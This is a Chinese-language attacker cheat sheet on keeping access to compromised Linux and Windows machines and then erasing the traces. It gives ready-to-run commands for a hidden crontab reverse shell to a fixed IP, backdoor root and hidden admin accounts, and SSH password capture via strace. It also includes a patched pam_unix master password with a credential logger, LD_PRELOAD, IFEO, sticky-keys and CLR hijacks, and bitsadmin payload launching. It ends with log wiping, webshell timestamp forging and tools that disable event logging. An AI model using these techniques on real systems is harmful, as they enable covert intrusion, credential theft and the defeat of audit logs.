权限维持
Linux
一句话添加超级账户
echo 'username:x:0:0::/:/bin/bash'>>/etc/passwd
echo 'username:password'|chpasswd
SSH软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=[port]
然后通过port来连接ssh
ssh公私钥免密登录
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
ssh-keygen -t rsa
将id_rsa.pub中的内容附加到服务器的/root/.ssh/authorized_keys中
修改/etc/ssh/sshd_config中的
- RSAAuthentication yes
- PubkeyAuthentication yes
- PermitRootLogin yes
- StrictModes no
修改文件权限
- chmod 600 ~/.ssh/authorized_keys
- chmod 700 ~/.ssh
保护文件
chattr +i evil.php 锁定文件
chattr -i evil.php 解除锁定
定时任务
每分钟执行一次
*/1 * * * * root /etc/evil.sh
//写入crontab
(crontab -l;echo '表达式')|crontab -
//隐藏crontab内容
//cat默认支持\r回车 \n换行 \f换页,这样导致cat不使用-A参数时可以隐藏一些文本内容
(crontab -l;printf "* * * * * bash -i >& /dev/tcp/192.168.20.133/8888 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
strace后门
strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间
通过strace来获取ssh登录的密码
ps -ef | grep sshd
strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 //父进程PID 4241
alias后门
alias用于设置命令的别名
将ssh设置成strace的别名来获取ssh登录密码
alias ssh='strace -o tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
PAM后门
pam_unix
PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。
PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open
上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。
利用步骤:复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
//查看pam版本
apt list --installed | grep pam
rpm –aq | grep pam
//在http://www.linux-pam.org/下载对应版本源码
//修改pam_unix_auth.c中关于用户认证的部分
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("[passwd]",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}
//cd到源码根目录编译
./configure && make
//查找文件路径
find / -name "pam_unix.so"
//最后将编译的pam_unix.so替换原文件
pam_permit
在认证中存在pam_permit.so模块,而pam_permit模块任何时候都返回认证成功
当我们运行shell脚本时候系统将顺序尝试在PATH环境变量的所有目录中查找该命令。如果两个不同的PATH条目中有两个匹配的可执行文件,则将使用第一个而不触发任何警告。因此,如果我们在第一个PATH条目中添加了一个恶意二进制文件,而合法的二进制文件则位于PATH的后面,则使用恶意二进制文件代替原始二进制文件。
将优先级更高的文件修改成wrapper script,比如uname
#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*
利用mount把pam_permit.so挂载到pam_unix.so上,这样所有认证都将返回成功
动态链路库劫持
环境变量LD_PRELOAD以及配置文件/etc/ld.so.preload可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库,只要加载我们的恶意so文件,就能劫持其他函数。
fopen为例子,编写一个包装
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
FILE *fopen(const char *path, const char *mode) {
printf("In our own fopen, opening %s\n", path);//恶意payload部分
FILE *(*original_fopen)(const char*, const char*);
original_fopen = dlsym(RTLD_NEXT, "fopen");
return (*original_fopen)(path, mode);
}
然后编译成so
gcc -Wall -fPIC -shared -o myfopen.so myfopen.c -ldl
最后去修改LD_PRELOAD,然后fopen实际上就是刚刚替换掉的新fopen
windows
隐藏账户
先添加一个隐藏的管理员账户
net user test$ 123456 /add
net localgroup administrators test$ /add
现在net user看不到test,但是用户组管理还是看得到
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改 SAM 权限,赋予 adminitrators 完全控制权限。
将 Administrator 用户对应项的 F 数据值复制到 test 用户对应项的 F 数据值。
将 test 和所对应项 000003F1 导出,分别命名为 test.reg 和 1.reg
删除 test 用户,将 test.reg 和 1.reg 导入注册表,然后就只能在注册表里面看到这个用户了
粘滞键后门
粘滞键位置:c:\windows\system32\sethc.exe
用一个其他的可执行文件把这个文件替换掉,比如cmd,然后在登录界面连按五下shift就可以运行这个程序
logon scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe" #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
镜像劫持
映像劫持是利用Windows的IFEO(Image File Execution Options)功能来实现的。IFEO实际上是Windows的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。例如,某个程序在随用户登录自动启动时会出错,但在登录后手动启动时却一切正常,这就可以通过IFEO设置一个调试器,无论程序何时启动,都会开启这个调试器对其进行调试,以便找出问题。
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\[劫持目标]" /v "Debugger" /t REG_SZ /d "[恶意程序的绝对路径]" /f
注册表自启动后门
注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\666.exe"
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改键 Userinit 的值,重启就会自动运行程序。
屏幕保护程序后门
注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop
SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。
ScreenSaveActive表示屏保状态,1为启动,0为关闭。
ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。
ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f
计划任务后门
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe
服务自启动后门
sc create test binpath= c:\666.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务
组策略设置脚本启动
打开组策略配置脚本(启动 / 关机),添加脚本,关机就会自动执行脚本
bitadmin
常用命令:
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务
bitsadmin /create test //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test
DLL劫持
DLL加载顺序
Windows xp sp2之前:
- 进程对应的应用程序所在目录;
- 当前目录(Current Directory);
- 系统目录(通过 GetSystemDirectory 获取);
- 16位系统目录;
- Windows目录(通过 GetWindowsDirectory 获取);
- PATH环境变量中的各个目录;
Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
- 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
- 系统目录(即%windir%system32);
- 16位系统目录(即%windir%system);
- Windows目录(即%windir%);
- 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
- PATH环境变量中的各个目录;
win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
将dll转成cpp,然后在源码中插入payload,再生成新的dll文件替换即可
CLR 劫持
修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\
修改注册表
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
修改全局变量
SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M
然后运行powershell就能直接触发
痕迹清除
Linux
清除history历史记录
- set +o history开启无痕shell
- sed -i "100,$d" .bash_history删除100行后的记录
- rm ~/.bash_history
修改时间戳
比如参考 index.php 的时间,再赋给 webshell.php,两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
删除lastlog信息
删除lastlog、wtmp、btmp
隐身ssh
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
windows
日志文件
类型 | 默认路径 |
---|---|
系统日志 | C:\Windows\System32\Winevt\Logs\System.evtx |
安全日志 | C:\Windows\System32\Winevt\Logs\Security.evtx |
应用日志 | C:\Windows\System32\Winevt\Logs\Application.evtx |
全部清除
eventvwr事件查看器,进入windows日志,ui右侧有个清除日志
powershell清除
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
远程桌面记录
清除脚本
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
工具
Invoke-Phant0m
该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。因此,系统将无法收集日志,同时事件日志服务似乎正在运行。
github项目地址:https://github.com/hlldz/Invoke-Phant0m
EventCleaner
该工具主要用于从Windows事件日志中删除指定的记录。
github项目地址:https://github.com/QAX-A-Team/EventCleaner